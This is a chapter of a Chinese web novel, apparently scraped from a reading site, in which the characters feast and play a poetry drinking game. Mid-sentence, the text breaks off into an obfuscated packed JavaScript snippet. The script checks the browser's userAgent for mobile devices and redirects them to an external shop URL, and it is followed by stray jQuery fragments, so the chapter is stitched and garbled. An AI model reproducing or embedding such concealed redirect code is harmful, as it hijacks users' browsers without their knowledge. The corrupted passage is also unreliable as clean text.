123读书网 > 都市小说 > 不是人间偏我老 > 46. 第 46 章
    风翎轻咽了下口水,默默抬起了筷子,这一桌丰盛的……都有点儿……不知道从哪儿开始下手了……


    就在风翎犹豫不决时,荣屿率先向她挑来了一块鹅肉,主动在一旁介绍:


    “这是红渚里特色美食,名为无藕不欢。是取八宝鹅身上最为上乘之肉,放至红根藕孔隙处,大火慢炖而成。”


    “若火候掌握得当,此肉口感极似鱼戏莲间,莲波漪漪之态。食之恍如亲临其境,食后亦陶然自得,因此得名。”


    什么乱七八糟的……


    风翎挑起碗中这块精妙绝伦!可令人飘飘若仙的鹅肉,一下全塞进了口中,开始细嚼慢咽,慢慢翻动品味……


    荣屿满眼期待地望向正在用心品鉴的风翎:“如何?”


    嗯?是我嘴坏了吗???这不就一块裹着藕片的普通鹅肉……


    什么鱼啊……莲啊什么的……我怎么什么都没看见???


    不对不对!让我再品一品……


    食后陶然自得……嗯……心情好像一直很平静……


    风翎猛地睁眼看向荣屿,煞有其事地夸下海口:“真真是一块仙肉,吃完心情一下就变好了!神奇!当真是神奇啊!”


    “你若喜欢,我让后厨日日做与你吃。”荣屿会心一笑,立马做了决定。


    “好!”


    白捡个大便宜!风翎这下真感受到这鹅肉的神奇了……


    真真让人陶然自得……


    “诶!那个是什么!看起来甚是美味!”


    十方再也端不住了,已经盯了正中间高高挺立的……呃……暂且称它为“桃树”吧……好久了!


    还没等荣屿开口阻拦,它已经扒拉起树上硕大蜜桃下挂着的小花篮,立马从里面拿出被桃面团包裹着的心形糕点,一口全塞进了口中!


    哇!好好吃!我十方的眼光那可是没得挑的!不愧是占据正中心的大餐啊!


    嗯~~~这味道!美妙!甚是美妙!!!


    只是……怎么吃着吃着有些晕了呢……


    还没等十方反应过来,它口中半塞着未嚼尽的糕点,应声倒在桌前……


    风翎被它突然倒桌吓得一激灵:“嗯?十方怎么了?”


    三娘噗嗤一声笑得捶胸顿足:“还见过世面呢!哈哈哈哈哈哈!”


    荣屿也忍不住掩面一笑,努力克制着不失了仪态。


    “它手里拿的是用桃花瓣揉制的面团,仅作容器之用。里面包裹的是千里醉,是饭桌上专门用来罚酒的吃食。”


    竟是用来罚酒的?!这么……骇人听闻的嘛!


    风翎下巴这下是真收不住了,指着这“庞然大物”惊叹:“罚酒这么大排场!”


    荣屿俯身上前,也取过来两只小花篮,一人一只放到了桌前:“也就逢年过节时争个噱头用。”


    “饭桌上行酒令,若是女子输了,可自行选择以树上的蜜桃做抵,意为福寿绵长;若是男子输了,便要吃下这花篮里的千里醉。”


    “树清酒散,方计成败。凡罚前三者,都需无条件答应罚最少者一个要求。”


    风翎好奇地数了数这树上不下二三十个桃子,这一杯千里醉就能醉倒一头牛!


    这这这……若全都下肚……岂不得全都喝死……


    “尝尝?”


    荣屿品尝着眼前的粉面团,轻轻一咬,里面的千里醉瞬间流入唇间,裹挟着桃花的清香沁甜,令人回味无穷……


    风翎低头看向花篮中的面团,轻轻拿出来翻来覆去地欣赏:“这千里醉为何要包在面团里?”


    荣屿接着解释:“其一是这桃花香作外裹,可使酒味更为浓醇清香;其二为填食所用,以免过饮伤身。”


    “这其三,则为避人耳目……”


    说完停顿了下,果不其然勾起了风翎的好奇心:“避人耳目?”


    荣屿将桌前的花篮放至一旁,说出背后的真实原因:“逢年过节,长辈都看不惯小辈聚众斗饮……”


    风翎笑得眯起了眼睛:“所以才想出了这么个两全其美的法子?”


    荣屿默默点头,忍不住也笑了……


    有这好东西还非得藏得这么严实作甚!好酒就该敞开了喝嘛!风翎当即一口直接下肚!


    酒香霎时缠绵齿间,酒浆迸射激荡在唇口,甫一下肚,桃花余香仍旧在唇间回着甘甜,正好抵解了这酒水泛起来的后涩……


    极品!极品中的极品!


    还是你们有钱人会享受哇!!!


    随即又看向桌前一醉不醒的十方,内心狂笑不止:啧啧啧!瞧瞧你这没见过世面的样子!


    风翎大袖一挥,十方瞬间化回了剑灵,一溜烟便遁入了剑身,呼呼大睡去了……


    三娘早就被勾得来了兴致,想起当初自己喝倒一片的风光韵事,立马起身高亢道:“我们也来行酒令!如何!”


    风翎嘴巴已经半张开,正要出声应和,门外的笑声早已不请自来——


    “玩行酒令,怎么能少得了我!”


    仇笑一一身紫金衣袍加入席间,看清罚酒吃食是什么后,大失所望。


    “喂!你们也太不够意思了吧!有这好东西,竟然不叫我!”


    “正要叫你呢!这不,你正好来了嘛!”


    风翎表示他们这是心有灵犀,根本无需多言……


    仇笑一宽宏大量不再与他们计较,现全副身心都被那树下的千里醉占据!


    “我们就四个人,规则要变一下!就定罚最多者,必须应下罚最少者一个要求,你们看怎么样!”


    说完马上看向其他三人,他们也并无异议,仇笑一大手一挥,立即起身,正式宣布:“行酒令开始!”


    仇笑一拍着桌子,举起右手指最先开口:“哎!我立马就来了个想法!”


    “第一轮就以‘花’字为主题,不限字数,不限韵脚,即兴赋诗二句,若答不上来者,便自认领罚!”


    三娘胸有成竹地率先应和:“你们都别跟我抢啊!我先想好了一句!”


    众人笑意盈盈地期待着三娘的即兴而作。


    三娘边赋诗边抬起手向外推开,神情旷渺哀婉,早已随诗境不知飘向何处——


    “花照辕门东向望,此间心处独所向。”


    仇笑一哈哈一笑,打断稍显哀愁的气氛:“此花非彼花啊!”


    三娘也被他这话一把拉了回来,神色恢复往常,十分自信:“你就说,我应得对不对!”


    风翎连连鼓掌相和:“我觉此花甚好!我来接下一首!”


    风翎拿起手上的木筷,恰如持剑,唰地一声立于眼前,眼神无比快意。


    “东风错撩瑶芳会,羞敲剑花教人催。”


    荣屿也被她此时的肆意潇洒感染得醉上了几分,温和一笑:“我承上风翎。”


    荣屿抬指轻敲桌面,眉目远舒,动作间满是惬意恣肆。


    “千寻万觅无处花,神恹恹,意恢恢。回追历历踏遍处,这方悟觉……”


    留下最后一句未说完,转而直直望向风翎,温情脉脉:“缘是心尖自成花。”


    风翎听完这最后一句诗,顿时烧红了整张


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16843988|189050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脸,半天说不出一个字来,他视线灼热得……好像要将她烫伤了去……


    风翎立马果断而又不自然地移开了眼,开始狂吃着面前的食物,装作不懂……


    仇笑一和荣三娘很对劲地相视一笑,真是不稀得听他俩在这你情我浓……


    仇笑一大喇喇地走上前,主动拿下一个花篮,取出里面的千里醉,对着他俩连连摇头。


    “你啊你,恐怕我接下来再怎么对,也比不得你这句……”


    “我还是自觉认罚吧……”


    说完就无奈地利索吃下整块面团,转而又被这满口的清香抚慰得没了幽怨……


    三娘好笑地看着倒霉的仇大少爷,接着开始了第二轮的行酒令:“哎呀!不说花了!这次换我来出一个!”


    三娘环顾众人,意味不明地一笑,立即想了个有难度的酒令!


    “这第二轮嘛……就以‘人’为限字,位置限于第二句首字,依旧不限字数,不限韵脚,如何啊!”


    这次可让仇笑一长了教训了,他可不要再做那垫背的,还是个窝囊垫背的……


    仇笑一立马起身,抢得了先机:“哎哎哎!这次我第一个来!”


    见他着急忙慌地抢着作诗,其他三人被逗得喜不自禁,只听他在庭院里来回踱步道:


    “长襟破阵西沙喑,人胡归?人胡归?休将离儿断了魂!”


    仇笑一脸上苦笑转瞬即逝,转而笑容满面地寻求着大家的膜拜:“我这诗起的不错吧!”


    风翎面色稍显凝重,自是明白他身上背着的重担,随即起身回慰:“全为情真意切,那我也送你一诗!”


    仇笑一认真地直望向她,笑容淡淡,安静地等她开口。


    风翎也学他绕着桌子来回徘徊,直承上诗而来:


    “金鼓震沙红旌曳,人旋归,人旋归,会当马上舍他谁!”


    风翎说完最后一句诗,也与他四目相对,两人隔空相望,话自在不言中……


    回身落座,风翎拍了下荣屿的胳膊,又向三娘挑着眉:“轮到你们俩了!你们谁先来!”


    三娘有了“前车之鉴”,自然学机灵了:“诶!当然是我!”


    三娘连连敲着脑袋,紧忙硬着头皮上:


    “但出高门何所望,人……人……”三娘急得满头大汗。


    真是服了自己了,这不是自己给自己画了个圈套,还要逼自己亲自往下跳嘛!


    终于让仇笑一逮着机会了,他一路紧追猛打:“哎哎哎!三娘噎住了!再对不出来,可是要罚了哦!”


    “人……”三娘突然急中生智,宛如智囊再世,打着响指,“刃指四海任逍遥!”


    仇笑一继续穷追不舍:“好哇三娘!你竟然耍赖!”


    三娘双手叉着腰,威风凛凛,自成规矩:“诶!大家可要给我做个见证啊!规则里可没定不能用谐声!”


    仇笑一被她怼得哑口无言,竟说不出一个字可以反驳于她!


    三娘这下终于如释重负,果断把话锋对准了最后之人:“荣屿!该你了!”


    荣屿低头无奈笑了,看着眼前的小花篮,随口即来:


    “馐馔饫,宴饮酣,与尔其间,醺然醺然;人情浓,世途殊,山河迢递,莫忘莫忘。”


    “好诗!”三娘猛地附掌,立马从树上取下一花篮。


    “就冲这后半句,这轮也该我罚喝!”


    说着挑出里面的面团,一把扔开了花篮,爽快地应了罚。


    千里醉甫一下肚,只听三娘一声喟然长叹:“哈——再来再来!”